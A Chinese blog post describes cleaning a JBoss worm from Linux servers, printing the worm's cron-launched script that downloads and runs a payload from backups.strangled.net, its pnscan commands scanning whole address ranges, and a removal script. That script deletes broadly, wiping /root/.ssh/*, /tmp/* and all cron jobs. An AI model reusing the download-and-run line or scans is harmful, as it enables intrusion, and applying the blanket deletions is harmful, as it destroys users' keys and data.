jboss蠕虫病毒清理步骤

最近在好几台机器上都发现jboss的蠕虫病毒,其表现的现象为机器速度慢,无明显的主机登陆信息,在jboss主目录的bin目录下,出现以kisses.tar.gz开头的多个文件。目前应用不能升级jboss(测试未通过),只能暂时处理一下。


      1、在jboss运行的用户下,出现病毒定时下载任务,通过定时任务将病毒文件通过wget下载后解压缩后运行。

  1. [root@localhost tmp]# crontab -l
  2. 1 1 10 * * /root/.sysdbs
  3. 1 1 1 * * /bin/sh /root/.toor.sh
  4. 1 1 1 * * /root/.toor.sh
  5. 1 1 10 * * /root/.sysdbs
  6. [root@localhost tmp]# more /root/.toor.sh
  7. cd /tmp;wget http://backups.strangled.net/a.tar.gz;tar xzvf a.tar.gz;perl b.pl;python c.py
  8. [root@localhost bin]# cd $JBOSS/bin
  9. [root@localhost bin]# tar -tvf kisses.tar.gz
    -rw-r--r-- toughc/toughc  1686 2002-03-26 00:39:14 Makefile
    -rw-r--r-- toughc/toughc  3229 2002-03-26 00:34:47 bm.c
    -rw-r--r-- toughc/toughc   460 2002-03-23 21:54:55 bm.h
    -rw-r--r-- toughc/toughc  2939 2011-10-22 13:38:51 flu.pl
    -rwxr-xr-x toughc/toughc  5598 2002-03-25 06:25:47 install-sh
    -rwxr-xr-x toughc/toughc   132 2002-03-22 23:05:15 ipsort
    -rw-r--r-- toughc/toughc  4337 2011-10-22 13:38:01 linda.pl
    -rw-r--r-- toughc/toughc 20211 2002-03-26 00:37:04 pnscan.c
    -rw-r--r-- toughc/toughc    25 2002-03-26 00:53:11 version.c
  10. [root@localhost tmp]# find / -name pnscan
  11. /tmp/zsa/pnscan
  12. /usr/local/jboss-4.2.3.GA/bin/pnscan
  13. [root@localhost tmp]# ps -ef |grep pnscan
  14. root 754 21540 0 09:30 pts/3 00:00:00 grep pnscan
  15. root 1003 32088 0 09:28 ? 00:00:00 sh -c ./pnscan -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6500 150.34.0.0/16 80 > /tmp/sess_0088025413980486928597bf150
  16. root 1009 1003 0 09:28 ? 00:00:00 ./pnscan -r JBoss -w HEAD / HTTP/1.0\r\n\r\n -t 6500 150.34.0.0/16 80
  17. root 24553 527 0 09:24 ? 00:00:00 sh -c ./pnscan -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6500 180.139.0.0/16 80 > /tmp/sess_0088025413980486928597bf180
  18. root 24558 24553 0 09:24 ? 00:00:00 ./pnscan -r JBoss -w HEAD / HTTP/1.0\r\n\r\n -t 6500 180.139.0.0/16 80



     2、通过对代码的分析,在系统中出现多个pnscan和/usr/share/jboss/tomcat进程,该病毒将病毒程序伪装为/usr/share/jboss/tomcat进程运行,实际上是通过perl程序调用,通过top可以发现踪迹。
     3、清理病毒,由于病毒程序,首先先结束病毒,然后对病毒程序进行删除,一下是病毒的清理脚本。
  1. [root@localhost tmp]# more /tmp/killpnscan.sh
  2. #/usr/bin/sh
  3. # 清理病毒在内存中运行,如果pnscan清理不干净,需要手动杀进程
  4. crontab -l
  5. killall pnscan
  6. killall perl

  7. # 删除病毒文件
  8. cd /usr/local/jboss-4.2.3.GA/bin/
  9. rm -fr kiss*
  10. rm -f flu.pl
  11. rm -f bm.*
  12. rm -f javadd.tar.gz
  13. rm -f javadd.tar.gz*
  14. rm -f lind?.pl
  15. rm -f Makefile
  16. rm -f nohup.out
  17. rm -f pnscan*
  18. rm -f version.*
  19. rm -f install-sh
  20. rm -f ipsort
  21. rm -f jdb.tar.gz*
  22. rm -f fly.pl
  23. rm -f sysdbss*
  24. rm -f treat.sh
  25. rm -f /root/.ssh/*
  26. rm -f goodknight.*

  27. # 删除临时文件目录中的病毒
  28. cd /tmp
  29. rm -fr /tmp/.lime
  30. rm -fr /tmp/za
  31. rm -fr /tmp/zsa
  32. rm -f /tmp/*

  33. rm -fr /tmp/flu
  34. rm -fr /root/.sysdbs
  35. rm -fr /root/.toor.sh
 # 再次确认清理
 
  1. killall pnscan
  2. killall perl
  3. ps -ef |grep pnscan
  4. ps  -ef |grep tomcat
  5. crontab -r

    4、至此,病毒文件清理完成,因其通过wget进行下载运行,建议将wget卸载。
  1. rpm -e wget
   附:
      因此蠕虫病毒有tomcat引起的,影响的版本如下:
 
  • JBoss Application Server (AS) 4.0.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0
病毒的引起的原因和jboss解决方法参见以下链接:
    https://access.redhat.com/site/solutions/30744
   https://access.redhat.com/kb/docs/DOC-30741
   http://community.jboss.org/blogs/mjc/2011/10/20/statement-regarding-security-threat-to-jboss-application-server
   http://community.jboss.org/wiki/SecureTheJmxConsole
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值